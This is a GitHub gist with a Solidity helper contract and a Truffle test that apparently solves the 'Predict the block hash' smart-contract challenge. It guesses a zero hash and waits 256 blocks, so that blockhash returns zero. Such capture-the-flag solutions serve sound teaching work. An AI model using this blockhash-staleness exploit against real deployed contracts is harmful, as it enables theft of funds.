Skip to content

Instantly share code, notes, and snippets.

@saurfang
Created April 15, 2018 07:13
Show Gist options
  • Save saurfang/76f46eeecb8b6eefe3e2518b0b0404e0 to your computer and use it in GitHub Desktop.
Save saurfang/76f46eeecb8b6eefe3e2518b0b0404e0 to your computer and use it in GitHub Desktop.
pragma solidity ^0.4.21;
contract Miner {
uint public blockNumber;
uint public blocks;
function Miner() public {
reset();
}
function reset() public {
blockNumber = block.number;
blocks = 0;
}
function mine() public {
blocks = block.number - blockNumber;
}
}
const PredictTheBlockHashChallenge = artifacts.require('PredictTheBlockHashChallenge');
const Miner = artifacts.require('Miner');
contract('PredictTheBlockHashChallenge', ([account]) => {
it('can be solved', async () => {
let challenge = await PredictTheBlockHashChallenge.new({value: web3.toWei(1, 'ether')});
let miner = await Miner.new();
// guess with '0x'
await challenge.lockInGuess('', {value: web3.toWei(1, 'ether')});
// call miner for 256 blocks
await miner.reset();
while (await miner.blocks() < 256) {
await miner.mine();
}
challenge.settle();
assert(
await challenge.isComplete() === true,
'Challenge has not been completed!'
);
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment